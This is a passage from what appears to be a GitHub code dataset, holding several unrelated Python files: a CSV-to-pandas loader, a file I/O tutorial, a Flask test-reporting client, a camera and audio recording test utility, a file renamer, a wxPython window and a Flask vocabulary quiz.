glob.glob(os.path.join(savedir,'data','*.csv.gz'))\n\n gpslist = []\n ndlist = []\n dlist = []\n\n for f in gpsfiles:\n if (datetime.datetime.strptime(f[-24:-14], \"%Y-%m-%d\").date() > startdate) & (datetime.datetime.strptime(f[-24:-14], \"%Y-%m-%d\").date() < enddate):\n gpslist.append(f)\n\n for f in ndfiles:\n if (datetime.datetime.strptime(f[-24:-14], \"%Y-%m-%d\").date() > startdate) & (datetime.datetime.strptime(f[-24:-14], \"%Y-%m-%d\").date() < enddate):\n ndlist.append(f)\n\n for f in dfiles:\n if (datetime.datetime.strptime(f[-24:-14], \"%Y-%m-%d\").date() > startdate) & (datetime.datetime.strptime(f[-24:-14], \"%Y-%m-%d\").date() < enddate):\n dlist.append(f)\n\n return gpslist, ndlist, dlist\n\ndef addData(gps,nodedata,data,gpslist,ndlist,dlist):\n\n if len(gpslist)>0:\n if gps is None:\n gps = pd.read_csv(gpslist[0])\n gpslist.pop(0)\n for f in gpslist:\n df = pd.read_csv(f)\n gps = pd.concat([gps,df],ignore_index=True)\n\n if len(ndlist)>0:\n if nodedata is None:\n nodedata = pd.read_csv(ndlist[0])\n ndlist.pop(0)\n\n for f in ndlist:\n df = pd.read_csv(f)\n nodedata = pd.concat([nodedata,df],ignore_index=True)\n\n if len(dlist)>0:\n if data is None:\n data = pd.read_csv(dlist[0],dtype={'TagId':str,'NodeId':str})\n dlist.pop(0)\n\n for f in dlist:\n df = pd.read_csv(f,dtype={'TagId':str,'NodeId':str})\n data = pd.concat([data,df],ignore_index=True)\n\n return gps, nodedata, data\n \n#savedir = '/home/marslast/Downloads/CTT/'\n#startdate = \"2023-06-17\"\n#enddate = \"2023-06-19\"\n\ndef saveDataFrames(savedir,gps,nodedata,data):\n gps.to_pickle(os.path.join(savedir,\"GPS.pkl\"))\n nodedata.to_pickle(os.path.join(savedir,\"nodedata.pkl\"))\n data.to_pickle(os.path.join(savedir,\"data.pkl\"))\n\ndef loadDataFrames(readdir):\n gps = pd.read_pickle(os.path.join(readdir,\"GPS.pkl\"))\n nodedata = pd.read_pickle(os.path.join(readdir,\"nodedata.pkl\"))\n data = pd.read_pickle(os.path.join(readdir,\"data.pkl\"))\n\n return gps, nodedata, data\n","repo_name":"smarsland/CTTData","sub_path":"CTTtoPandas.py","file_name":"CTTtoPandas.py","file_ext":"py","file_size_in_byte":2928,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"41666882595","text":"from io import open\n# creamos un txt, APERTURA\narchivo_texto = open(\"archivo.txt\",\"r\") #r : modo lectura\n\n#Lectura\ntexto = archivo_texto.read()\narchivo_texto.close()\nprint(texto)\n\n\n\nprint(\"=================================================\")\n\n#r : modo lectura\narchivo_texto1 = open(\"archivo.txt\",\"r\") \nlineas_texto1=archivo_texto1.readlines()\narchivo_texto1.close()\nprint(lineas_texto1[0])# Imprime una lista\n\n\nprint(\"=================================================\")\n\n# Agregar\narchivo_texto2 = open(\"archivo.txt\",\"a\") \narchivo_texto2.write(\"\\n Siempre es una buena ocacion para estudiar python\")\narchivo_texto2.close()\n","repo_name":"BrianMarquez3/Python-Course","sub_path":"Archivos Externos I/ArchivosExternosi-2.py","file_name":"ArchivosExternosi-2.py","file_ext":"py","file_size_in_byte":623,"program_lang":"python","lang":"es","doc_type":"code","stars":26,"dataset":"github-code","pt":"48"} +{"seq_id":"17580173364","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n\"\"\"\n@author: yangtao\n@contact:yangtao584@126.com\n@version: 1.0.0\n@license: Apache Licence\n@file: request_flask.py\n@time: 23/12/20 20:09\n\"\"\"\nimport requests,json\nimport datetime\n\n\nclass DateEncoder(json.JSONEncoder):\n def default(self, obj):\n if isinstance(obj,datetime.datetime):\n return obj.strftime(\"%Y-%m-%d %H:%M:%S\")\n else:\n return json.JSONEncoder.default(self,obj)\n\nclass ReportTCStatus:\n @staticmethod\n def f1(data):\n headers = {\n 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.109 Safari/537.36'\n }\n with requests.session() as s:\n r = s.post(url='http://localhost:5001/test',headers=headers,\n data=json.dumps(data,cls=DateEncoder)\n # json=data\n )\n\n # res = requests.post(url=url, data=json.dumps(data))\n print(r.status_code,r.text)\n\n\nif __name__ == '__main__':\n data = {\n \"project\": \"project_1\",\n \"plan\": \"plan_1\",\n \"tc_id\":\"test_193\",\n \"result\":'Blocked',\n \"bug\":\"bug_01\",\n \"logs\":\"\"\"http://www.baidu.com\"\"\",\n \"detail\":\"\"\"XXXXXXXXXXXXXXXXXXXXXx,\n XXXXXXXXXXXXXXXXXXXXX\n XXXXXXXXXXXXXXXXXXXXX\"\"\",\n \"execute_date\":datetime.datetime.strptime(\"2020-12-23 20:01:00\", '%Y-%m-%d %H:%M:%S'),\n \"executor\":\"yangtao\"\n }\n import time\n print(time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime()))\n\n b = datetime.datetime.now()\n print(type(b),b)\n s = '1978-01-01 12:00:00' # type(str)\n new_time = datetime.datetime.strptime(s, '%Y-%m-%d %H:%M:%S')\n print(type(new_time))\n ReportTCStatus.f1(data)\n","repo_name":"A432-git/flask","sub_path":"flask_cmcc/request_flask.py","file_name":"request_flask.py","file_ext":"py","file_size_in_byte":1795,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"24857158604","text":"import numpy as np\nimport cv2\nimport time\nimport threading\nimport wave\nfrom pyaudio import PyAudio, paInt16\nfrom automatedtest.common.tools.logger.logger import logger\nfrom automatedtest.common.tools.logger.utils import Utils\n\n\nclass BaseCamera(object):\n def __init__(self):\n self._utils = Utils()\n self.FrameID = {\n 'pos_msec': cv2.CAP_PROP_POS_MSEC, # 视频的当前位置(单位:ms)\n 'pos_frames': cv2.CAP_PROP_POS_FRAMES, # 视频的当前位置(单位:帧数,从0开始计)\n 'pos_avi_ratio': cv2.CAP_PROP_POS_AVI_RATIO, # 视频的当前位置(单位:比率, 0表示开始,1表示结尾)\n 'frame_width': cv2.CAP_PROP_FRAME_WIDTH, # 帧宽度\n 'frame_height': cv2.CAP_PROP_FRAME_HEIGHT, # 帧高度\n 'fps': cv2.CAP_PROP_FPS, # 帧速率\n 'fourcc': cv2.CAP_PROP_FOURCC, # 4-字符表示的视频编码(如:’M‘, ’J‘, ’P‘, ’G‘)\n 'frame_count': cv2.CAP_PROP_FRAME_COUNT, # 总帧数\n 'format': cv2.CAP_PROP_FORMAT, # retrieve().调用返回的矩阵格式\n 'mode': cv2.CAP_PROP_MODE, # 后端变量指示的当前捕获的模式\n 'brightness': cv2.CAP_PROP_BRIGHTNESS, # 明亮度(仅用于摄像头)\n 'contrast': cv2.CAP_PROP_CONTRAST, # 对比度(仅用于摄像头)\n 'saturation': cv2.CAP_PROP_SATURATION, # 饱和度(仅用于摄像头)\n 'hue': cv2.CAP_PROP_HUE, # 色调(仅用于摄像头)\n 'gain': cv2.CAP_PROP_GAIN, # 增益(仅用于摄像头)\n 'exposure': cv2.CAP_PROP_EXPOSURE, # 曝光度 (仅用于摄像头)\n 'convert_rgb': cv2.CAP_PROP_CONVERT_RGB, # 是否应该将图像转化为RGB图像(布尔值)\n 'white_balance': cv2.CAP_PROP_WHITE_BALANCE_BLUE_U, # 白平衡(暂不支持 v2.4.3)\n 'rectification': cv2.CAP_PROP_RECTIFICATION, # 立体摄像头标定 (目前仅支持 DC1394 v 2.x 后端)\n 'monochrome': cv2.CAP_PROP_MONOCHROME, #\n 'sharpness': cv2.CAP_PROP_SHARPNESS, #\n 'auto_exposure': cv2.CAP_PROP_AUTO_EXPOSURE, # 自动曝光(仅用于摄像头)\n 'gamma': cv2.CAP_PROP_GAMMA, #\n 'temperatrue': cv2.CAP_PROP_TEMPERATURE, #\n 'trigger': cv2.CAP_PROP_TRIGGER, #\n 'trigger_delay': cv2.CAP_PROP_TRIGGER_DELAY, #\n 'white_balance_red_v': cv2.CAP_PROP_WHITE_BALANCE_RED_V, #\n 'zoom': cv2.CAP_PROP_ZOOM, #\n 'focus': cv2.CAP_PROP_FOCUS, #\n 'guid': cv2.CAP_PROP_GUID, #\n 'iso_speed': cv2.CAP_PROP_ISO_SPEED, #\n 'backlight': cv2.CAP_PROP_BACKLIGHT, #\n 'pan': cv2.CAP_PROP_PAN, #\n 'tilt': cv2.CAP_PROP_TILT, #\n 'roll': cv2.CAP_PROP_ROLL, #\n 'iris': cv2.CAP_PROP_IRIS, #\n 'settings': cv2.CAP_PROP_SETTINGS, #\n 'buffersize': cv2.CAP_PROP_BUFFERSIZE, #\n 'autofocus': cv2.CAP_PROP_AUTOFOCUS, #\n 'sar_num': cv2.CAP_PROP_SAR_NUM, #\n 'sar_den': cv2.CAP_PROP_SAR_DEN, #\n 'backend': cv2.CAP_PROP_BACKEND, #\n 'channel': cv2.CAP_PROP_CHANNEL, #\n 'auto_wb': cv2.CAP_PROP_AUTO_WB, #\n 'wb_temperatrue': cv2.CAP_PROP_WB_TEMPERATURE #\n }\n self._mark = {\n 'mark': True,\n 'text': ' ',\n 'x': 10,\n 'y': 60,\n 'fontScale': 1,\n 'R': 0,\n 'G': 255,\n 'B': 255,\n 'thick': 1\n }\n self._start_time = 0\n self._check_time = 0\n self.frameCnt = 0\n self.fps = 25.0\n self.capture = None\n self.stopRecord = False\n\n def start_camera(self, camera_id=0, **kwargs):\n \"\"\"\n 功能:打开摄像头\n\n 参数:camera_id:摄像头id,如果有超过两个摄像头,则依次为:0 1 2 ...\n\n kwargs : 可设置的摄像头参数\n\n 返回:\n\n 示例:\n \"\"\"\n self._mark = {\n 'mark': True,\n 'text': ' ',\n 'x': 10,\n 'y': 60,\n 'fontScale': 1,\n 'R': 0,\n 'G': 255,\n 'B': 255,\n 'thick': 1\n }\n self.capture = cv2.VideoCapture(camera_id)\n if not self.capture.isOpened():\n self.capture.open(camera_id)\n if kwargs:\n available_params = list(self.FrameID.keys())\n set_params = list(kwargs.keys())\n for p in set_params:\n if p not in available_params:\n logger.info(\"un support camera param: {}={}\".format(p, kwargs[p]))\n continue\n logger.info(\"setting camera param: {}={}\".format(p, kwargs[p]))\n self.set_property(p, kwargs[p])\n\n def set_mark(self, **kwargs):\n \"\"\"\n 功能:设置视频水印\n\n 参数:kwargs:mark:[False:不设置水印, True:设置水印]\n\n text:设置需要显示在视频中的文本, 默认为logMark\n\n x, y:设置视频中显示文本的位置,起始坐标点为左上角,default=(10, 60)\n\n fontScale:设置视频中显示文本的缩放, default=1\n\n R, G, B:设置视频中显示文本的颜色, default=(0, 255, 255)\n\n thick:设置视频中显示文本的粗细, default=1\n\n logMark:将用例的执行时间打印到log中, 该参数建议使用用例名称\n\n 返回:\n\n 示例:set_mark(mark=True, text='test', x=50, y=50, fontScale=2, R=100, thick=2)\n \"\"\"\n if 'mark' in kwargs:\n if str(kwargs['mark']).lower() == 'true':\n self._mark['mark'] = True\n else:\n self._mark['mark'] = False\n if 'text' in kwargs and len(str(kwargs['text'])) > 0:\n self._mark['text'] = kwargs['text']\n else:\n if 'logMark' in kwargs:\n self._mark['text'] = kwargs['logMark']\n else:\n self._mark['text'] = ' '\n if 'x' in kwargs and 0 <= int(kwargs['x']) <= 640:\n self._mark['x'] = int(kwargs['x'])\n if 'y' in kwargs and 0 <= int(kwargs['y']) <= 480:\n self._mark['y'] = int(kwargs['y'])\n if 'fontScale' in kwargs and int(kwargs['fontScale']) > 0:\n self._mark['fontScale'] = int(kwargs['fontScale'])\n if 'R' in kwargs and 0 <= int(kwargs['R']) <= 255:\n self._mark['R'] = int(kwargs['R'])\n if 'G' in kwargs and 0 <= int(kwargs['G']) <= 255:\n self._mark['G'] = int(kwargs['G'])\n if 'B' in kwargs and 0 <= int(kwargs['B']) <= 255:\n self._mark['B'] = int(kwargs['B'])\n if 'thick' in kwargs and int(kwargs['thick']) > 0:\n self._mark['thick'] = int(kwargs['thick'])\n if 'logMark' in kwargs:\n self._mark['mark'] = True\n video_time = int(float(self.frameCnt) / self.fps)\n if video_time < 0:\n video_time = 0\n logger.info(\n \"Case: <{}> start to run at time: <{}min - {}sec>\".format(str(kwargs['logMark']), video_time / 60,\n video_time % 60))\n\n def stop_record(self):\n \"\"\"\n 功能:停止录制\n\n 参数:\n\n 返回:\n\n 示例:\n \"\"\"\n self.stopRecord = True\n time.sleep(3)\n self.stop_camera()\n time.sleep(3)\n\n def get_picture_from_record(self, path):\n \"\"\"\n 功能:在录像过程中获取照片,与record_video配合使用\n\n 参数:\n path : 需要传递保存图片的路径包括文件名以及后缀\n\n 返回:一张.png类型的图片, 保存位置:automatedtest_5X3/result/screenshot_result/\n\n 示例:get_picture_from_record('ride', 'case1', 'result')\n \"\"\"\n cv2.imwrite(path, self.frame)\n return path\n\n def take_picture(self, path):\n \"\"\"\n 功能:拍照\n\n 参数:\n path : 拍照保存的照片的路径包括文件名以及后缀\n\n 返回:一张.png类型的图片, 保存位置:automatedtest_5X3/result/screenshot_result/\n\n 示例:take_picture('ride', 'case1', 'result')\n \"\"\"\n self._take_frame(path)\n return path\n\n def _take_frame(self, name='test.png', gray=False):\n \"\"\"\n 功能:获取一帧图像并保存\n\n 参数:name:保存照片的名称或路径:test.png or D:/GIT/automatedtest_5X3/test.png\n\n gray:[False:拍摄彩色照片, True:拍摄灰度照片]\n\n 返回:无\n\n 示例:_take_frame('name.png')\n \"\"\"\n try:\n name = str(name)\n ret, frame = self.capture.read()\n if ret:\n if gray:\n frame = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n cv2.imwrite(name, frame)\n else:\n logger.error(\"Camera read frame error.\")\n return -1\n except Exception as e:\n logger.error(\"_take_frame: {}\".format(e))\n\n def start_record(self, name='test', total_time=20, fps=20, width=640, height=480, code='MJPG', **kwargs):\n \"\"\"\n 功能:录制视频开启线程\n\n 参数:name:保存视频的名称,不包含后缀名\n\n total_time:录制视频的总时长,单位:分钟\n\n fps:帧率设置[5.0, 30.0], default=20\n\n kwargs : 可设置的摄像头参数\n\n 返回:无\n\n 示例:start_record()\n \"\"\"\n try:\n self.start_camera(**kwargs)\n rec = threading.Thread(target=self.record_video, args=(name, total_time, fps, width, height, code))\n rec.setDaemon(False)\n rec.start()\n # rec.join()\n except Exception as e:\n logger.error(\"start_record: {}\".format(e))\n\n def record_video(self, path, total_time=100, fps=20, width=640, height=480, code='MJPG'):\n \"\"\"\n 功能:录制视频,使用该方法录制视频时将不能进行其他任何操作, 建议使用start_record\n\n 参数:\n path : 保存视频的路径,包括文件名和后缀名,目前只支持.avi,其他格式无法保存\n\n fps:帧率设置[5.0, 30.0], default=20\n\n total_time:录制视频的总时长,单位:分钟\n\n width, height : 录像视屏的分辨率\n\n 返回:无\n\n 示例:record_video()\n \"\"\"\n index = 1\n record_time = 20\n\n while True:\n datetime = self._utils.get_time_as_string()\n tmp = path[:-4] + '_' + str(index) + '_' + datetime + '.avi'\n\n self._record(tmp, fps, record_time, width=width, height=height, code=code)\n if index > int(float(total_time) / record_time):\n self.stop_camera()\n break\n index += 1\n if self.stopRecord:\n break\n\n def _record(self, name='test.avi', fps=20, time_=20, width=640, height=480, code='MJPG'):\n \"\"\"\n 功能:录制\n\n 参数:name:保存视频的名称或路径:test.avi or D:/GIT/automatedtest_5X3/test.avi\n\n fps:帧率设置[5.0, 30.0], default=20\n\n t:每段录像的时长,达到该时间后自动保存录像并开启新的录像写入另一个视频文件,单位:minutes,\n 如果t=0则保存为一个视频文件, 默认值:t=20\n\n width, height : 录像视屏的分辨率\n\n code:录像的编码格式,目前只支持MJPG\n\n 返回:无\n\n 示例:_record('name.avi')\n \"\"\"\n try:\n name = str(name)\n time_ = int(time_)\n fps = float(fps)\n if fps < 5 or fps > 30:\n fps = self.fps\n else:\n self.fps = fps\n code = str(code)\n # 各种编码格式每分钟压缩后大小:MJPG(80M),\n fourcc = cv2.VideoWriter_fourcc(*code)\n if code.lower() == 'none':\n fourcc = -1\n out = cv2.VideoWriter(name, fourcc, fps, (width, height), True)\n self._start_time = time.time()\n logger.info(\"Start to record video: <{}> at time: {}\".format(name, self._start_time))\n self.frameCnt = 0\n while self.capture.isOpened():\n ret, self.frame = self.capture.read()\n if self._mark['mark']:\n self._mark['text'] = self._utils.get_time_as_string()\n cv2.putText(self.frame, self._mark['text'], (self._mark['x'], self._mark['y']),\n cv2.FONT_HERSHEY_SIMPLEX, self._mark['fontScale'],\n (self._mark['R'], self._mark['G'], self._mark['B']), self._mark['thick'],\n cv2.LINE_AA)\n if ret:\n out.write(self.frame)\n self.frameCnt += 1\n # cv2.imshow('f', self.frame)\n # if cv2.waitKey(1) & 0xFF == ord('q'):\n # break\n self._check_time = time.time()\n if int(self._check_time - self._start_time) >= (time_ * 60):\n break\n if self.stopRecord:\n break\n out.release()\n logger.info(\"Stop record video: <{}> at time: {}, or {}sec, total frame: {}\"\n .format(name, self._check_time, int(self._check_time - self._start_time), self.frameCnt))\n # cv2.destroyAllWindows()\n except Exception as e:\n logger.error(\"_record : {}\".format(e))\n\n def camera_test(self, wait=2, **kwargs):\n \"\"\"\n 功能:测试摄像头摄像,可用于调节摄像头距离,查看录像效果时,一般作为调试使用\n\n 参数:wait : 等待时间\n\n kwargs : 可设置的摄像头参数\n\n 返回:无\n\n 示例:\n \"\"\"\n # code = 'MJPG'\n self.start_camera(**kwargs)\n start_time = time.time()\n while self.capture.isOpened():\n ret, frame = self.capture.read()\n if ret:\n cv2.imshow('f', frame)\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n check_time = time.time()\n if int(check_time - start_time) >= (wait * 60):\n break\n cv2.destroyAllWindows()\n self.stop_camera()\n\n def set_property(self, property_name, value):\n \"\"\"\n 功能:设置摄像头参数\n\n 参数:property_name:设置对应参数,可设置参数见get_property\n\n 返回:无\n\n 示例:set_property('frame_width', 720)\n \"\"\"\n property_name = str(property_name).lower()\n # value = str(value)\n if property_name in ('frame_width',\n 'frame_height',\n 'fps',\n 'brightness',\n 'hue',\n 'contrast',\n 'saturation',\n 'gain',\n 'exposure',\n 'white_balance'):\n value = float(value)\n if property_name in ('frame_width',\n 'frame_height',\n 'fps'):\n value = int(value)\n elif property_name in ('convert_rgb',):\n if str(value).lower() == 'true':\n value = True\n else:\n value = False\n self.capture.set(self.FrameID[property_name], value)\n\n def reset_property(self):\n \"\"\"\n 功能:重置所有摄像头参数为初始值\n\n 参数:\n\n 返回:无\n\n 示例:\n \"\"\"\n self.capture.set(self.FrameID['pos_msec'], -1.0)\n self.capture.set(self.FrameID['pos_frames'], -1.0)\n self.capture.set(self.FrameID['pos_avi_ratio'], -1.0)\n self.capture.set(self.FrameID['frame_width'], 640)\n self.capture.set(self.FrameID['frame_height'], 480)\n self.capture.set(self.FrameID['fps'], 0)\n self.capture.set(self.FrameID['fourcc'], -466162819.0)\n self.capture.set(self.FrameID['frame_count'], -1.0)\n self.capture.set(self.FrameID['format'], -1.0)\n self.capture.set(self.FrameID['mode'], -1.0)\n self.capture.set(self.FrameID['brightness'], 128.0)\n self.capture.set(self.FrameID['contrast'], 32.0)\n self.capture.set(self.FrameID['saturation'], 32.0)\n self.capture.set(self.FrameID['hue'], 175230088.0)\n self.capture.set(self.FrameID['gain'], 131.0)\n self.capture.set(self.FrameID['exposure'], -5.0)\n self.capture.set(self.FrameID['convert_rgb'], -1.0)\n self.capture.set(self.FrameID['white_balance'], 6150.0)\n self.capture.set(self.FrameID['rectification'], -1.0)\n\n def get_property(self, property_name=''):\n \"\"\"\n 功能:获取摄像头当前参数设置\n\n 参数:property_name:如果该参数为空则返回所有参数,否则返回对应参数\n pos_msec: 视频文件的当前位置, 初始值=-1.0\n \n pos_frames: 当前帧, 初始值=-1.0\n\n pos_avi_ratio: 当前相对位置[0:从视频起始位置开始, 1:从视频结束位置开始], 初始值=-1.0\n\n frame_width: 帧宽度, 初始值=640.0\n\n frame_height: 帧高度, 初始值=480.0\n\n fps: 帧数, 初始值=0.0\n\n fourcc: 4字符编码的编码器, 初始值=-466162819.0\n\n frame_count: 获取总帧数, 初始值=-1.0\n\n format: 视频格式, 初始值=-1.0\n\n mode: 布尔型标记图像是否应该被转换为RGB, 初始值=-1.0\n\n brightness: 亮度, 初始值=128.0, 仅Camera\n\n contrast: 对比度, 初始值=32.0, 仅Camera\n\n saturation: 饱和度, 初始值=32.0, 仅Camera\n\n hue: 色调, 初始值=175230088.0, 仅Camera\n\n gain: 增益, 初始值=131.0, 仅Camera\n\n exposure: 曝光, 初始值=-5.0, 仅Camera\n\n convert_rgb: 布尔类型,表示图像是否需要转换成RGB, 初始值=-1.0\n\n white_balance: 白平衡, 初始值=6150.0\n\n rectification: 标定结果校准检验, 初始值=-1.0\n \n\n 返回:返回摄像头对应的参数设置\n\n 示例:get_property('FrameHeight')\n \"\"\"\n if property_name:\n property_name = str(property_name).lower()\n return self.capture.get(self.FrameID[property_name])\n else:\n all_settings = {}\n for f in self.FrameID:\n all_settings[f] = self.capture.get(self.FrameID[f])\n return all_settings\n\n def stop_camera(self):\n \"\"\"\n 功能:关闭摄像头\n\n 参数:\n\n 返回:无\n\n 示例:\n \"\"\"\n self.capture.release()\n\n\nclass AudioRecord(object):\n def __init__(self):\n self.num_samples = 2000 # pyaudio内置缓冲区\n self.sampling_rate = 8000 # 采样率\n self.stopRecord = False\n self._utils = Utils()\n\n def stop_record(self):\n \"\"\"\n 功能:停止录制\n\n 参数:\n\n 返回:\n\n 示例:\n \"\"\"\n self.stopRecord = True\n\n def start_record(self, name='test', p=30, total_time=1):\n \"\"\"\n 功能:录制音频开启线程\n\n 参数:name:保存音频的名称,不包含后缀名\n\n p:录制的每段时间,单位:分, 默认值=30\n\n total_time:录制音频的个数\n\n 返回:无\n\n 示例:start_record()\n \"\"\"\n rec = threading.Thread(target=self.record_audio, args=(name, p, total_time))\n rec.setDaemon(False)\n rec.start()\n\n def record_audio(self, path, p=30, total_time=1):\n \"\"\"\n 功能:录制音频,建议使用start_record\n\n 参数:\n path : 保存语音的路径,需要包含文件名和后缀名,目前只支持.wav\n\n p:录制的每段时间,单位:分, 默认值=30\n\n total_time:录制音频的个数\n\n 返回:无\n\n 示例:record_audio()\n \"\"\"\n p = int(p)\n index = 1\n\n while True:\n datetime = self._utils.get_time_as_string()\n tmp = path[:-4] + '_' + str(index) + '_' + datetime + '.wav'\n self._read_frame(tmp, p * 60)\n if index >= int(total_time):\n break\n if self.stopRecord:\n break\n index += 1\n\n def _read_frame(self, filename='test.wav', record_time=30):\n \"\"\"\n 功能:采集声音\n\n 参数:record_time:录音时间,单位s\n\n filename:保存文件名称,可以是路径\n\n 返回:无\n\n 示例:\n \"\"\"\n record_time = int(record_time)\n\n pa = PyAudio()\n stream = pa.open(format=paInt16, channels=1, rate=self.sampling_rate, input=True,\n frames_per_buffer=self.num_samples)\n\n wf = wave.open(filename, 'wb')\n wf.setnchannels(1)\n wf.setsampwidth(2)\n wf.setframerate(self.sampling_rate)\n\n start_time = time.time()\n logger.info(\"Audio record start from time: %s\", str(start_time))\n while True:\n string_audio_data = stream.read(self.num_samples)\n wf.writeframes(np.array(string_audio_data).tostring())\n check_time = time.time()\n if int(check_time - start_time) >= record_time:\n logger.info(\"Audio record end at time: %s, total record time: %s\", str(check_time),\n str(check_time - start_time))\n break\n if self.stopRecord:\n break\n stream.close()\n wf.close()\n\n\nif __name__ == '__main__':\n c = BaseCamera()\n # c.start_camera()\n # c.set_property('fps', 60)\n # import time\n # logger.info(time.time())\n # for i in range(120):\n # c.take_picture(\"D:/Repo/3F3/automatedtest/tmp/\" + str(i) + '.jpg')\n # #time.sleep(5)\n # logger.info(time.time())\n # c.stop_camera()\n c.camera_test(5)\n","repo_name":"philosophy912/sophia","sub_path":"src/test/resources/base_camera.py","file_name":"base_camera.py","file_ext":"py","file_size_in_byte":23098,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"21992978414","text":"import os\n\n\ndef rename_all(path, depth):\n if os.path.isdir(path):\n files_and_size = []\n for inside in os.listdir(path):\n compound = os.path.join(path, inside)\n if os.path.isfile(compound):\n files_and_size.append((compound, os.path.getsize(compound)))\n files_and_size.sort(key=lambda tup: tup[1], reverse=True)\n for item in files_and_size:\n origin = item[0]\n parts = origin.split(os.sep)\n prefix = parts[-2]\n kind = os.path.splitext(origin)[1]\n folder = os.path.dirname(origin)\n attempt = 1\n destiny = os.path.join(folder, prefix + ' (' + str(attempt) + ')' + kind)\n while os.path.exists(destiny):\n attempt += 1\n destiny = os.path.join(folder, prefix + ' (' + str(attempt) + ')' + kind)\n os.rename(origin, destiny)\n print(origin, \" -> \", destiny)\n for inside in os.listdir(path):\n compound = os.path.join(path, inside)\n if os.path.isdir(compound):\n rename_all(compound, depth + 1)\n\n\nif __name__ == \"__main__\":\n rename_all('C:\\\\Users\\\\emuvi\\\\OneDrive\\\\Documentos\\\\Aptar', 0)\n","repo_name":"emuvi/pycs","sub_path":"aptar_rename_all_tree.py","file_name":"aptar_rename_all_tree.py","file_ext":"py","file_size_in_byte":1228,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"19377045021","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nimport wx\nfrom ClassHierarchyCtrl import *\n\n\nclass HierarchyFrame(wx.Frame):\n \"\"\"\n HierarchyFrame\n\n Provides a display space and controls for the\n ClassHierarchyCtrl object.\n \"\"\"\n def __init__(self,parent,id = wx.ID_ANY):\n \"\"\"\n __init__\n\n Build the frame GUI components and initializes the wx.Frame\n object.\n Initializes the ClassHierarchyCtrl object.\n \"\"\"\n wx.Frame.__init__(self, parent,id,\"Class Hierarchies\",size=(300,500))\n self.panel = wx.Panel(self)\n panel_sizer = wx.BoxSizer(wx.VERTICAL)\n self.tree_ctrl = HierarchyCtrl(self.panel)\n self.button_sizer = wx.BoxSizer(wx.HORIZONTAL)\n self.refresh = wx.Button(self.panel,-1,\"Refresh\",pos=(200,400),\n size=(-1,-1))\n\n self.close = wx.Button(self.panel,-1, \"Close\", pos = (250,400),\n size=(-1,-1))\n self.button_sizer.Add(self.refresh,0)\n self.button_sizer.Add(self.close,0)\n\n panel_sizer.Add(self.tree_ctrl,1,wx.EXPAND)\n panel_sizer.Add(self.button_sizer,0)\n\n self.panel.SetSizer(panel_sizer)\n self.panel.Fit()\n self.Hide()\n\n self.Bind(wx.EVT_CLOSE, self.HideMe)\n self.refresh.Bind(wx.EVT_BUTTON, self.OnRefresh)\n self.close.Bind(wx.EVT_BUTTON, self.HideMe)\n\n\n def ShowMe(self,event,id_range):\n \"\"\"\n ShowMe\n\n Makes window visible and refreshes the class hierarchy tree.\n \"\"\"\n self.id_range = id_range\n self.tree_ctrl.Refresh(self.id_range)\n self.Show()\n\n def HideMe(self,event):\n \"\"\"\n HideMe\n\n Hides the window.\n \"\"\"\n self.Hide()\n\n def OnRefresh(self,event):\n \"\"\"\n OnRefresh\n\n Calls the ClassHierarchyCtrl's function Refresh.\n \"\"\"\n self.tree_ctrl.Refresh(self.id_range)\n","repo_name":"tomergreenwald/python-validator","sub_path":"benchmarks/gecrit-code/bin/ClassHierarchyWin.py","file_name":"ClassHierarchyWin.py","file_ext":"py","file_size_in_byte":1982,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"4727218862","text":"from flask import Flask, render_template, url_for, redirect, request\nfrom flask import Blueprint\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_login import current_user\n\nimport random\n\nviews = Blueprint(\"views\", __name__)\n\nGames = dict()\ngame_id = -1\n\n@views.route(\"/\", methods=['GET', 'POST'])\ndef index():\n return render_template('index.html', user= current_user)\n\n@views.route(\"/profile\")\ndef profile():\n return render_template('profile.html', user= current_user)\n\n@views.route(\"/hello\")\ndef hello():\n return render_template('hello.html', user= current_user)\n\n\n@views.route(\"/about\", methods = ['GET'])\ndef about():\n return render_template('about.html', user= current_user)\n\n\n@views.route(\"/feedback\", methods = ['GET'])\ndef feedback():\n return render_template('feedback.html', user= current_user)\n\n\n@views.route(\"/\")\ndef user(usr):\n return f\"

    {usr}

    \"\n\n\ndef display_progress():\n return 100\n\nword_list = ['bird', 'cat', 'green' , 'blue', 'red', 'black', 'white',\n 'dance', 'sing', 'bird', 'cat', 'green' , 'blue', 'red', 'black', 'white',\n 'dance', 'sing','bird', 'cat', 'green' , 'blue', 'red', 'black', 'white',\n 'dance', 'sing','bird', 'cat', 'green' , 'blue', 'red', 'black', 'white',\n 'dance', 'sing','bird', 'cat', 'green' , 'blue', 'red', 'black', 'white',\n 'dance', 'sing']\nword_dict = {'bird': 'pajaro', 'cat': 'gato', 'green': 'verde',\n 'blue': 'azul', 'red': 'rojo', 'black': 'negro',\n 'white': 'blanco', 'dance': 'bailar', 'sing': 'cantar'}\n\nclass Game():\n def __init__(self, n = 10):\n self.n = n\n self.cur_id = 0\n self.correct = 0\n self.plays =[0] * self.n\n self.words = random.sample(word_list, self.n)\n\n def game_over(self):\n if self.cur_id == self.n:\n return True\n return False\n\n def get_next_word(self):\n self.cur_id += 1\n return self.words[self.cur_id-1]\n\n def check_user_answer(self, user_answer):\n right_answer = word_dict[self.words[self.cur_id-1]]\n if user_answer ==right_answer:\n self.plays[self.cur_id-1] = 1\n self.correct +=1\n return True, right_answer\n else:\n self.plays[self.cur_id-1] = -1\n return False, right_answer\n\n\n\n@views.route(\"/start_game\", methods =['GET'])\ndef start_game():\n #generate new id for game\n global game_id\n game_id = game_id + 1\n\n #create new game\n Games[game_id] = Game()\n\n #send game object and id to play\n return 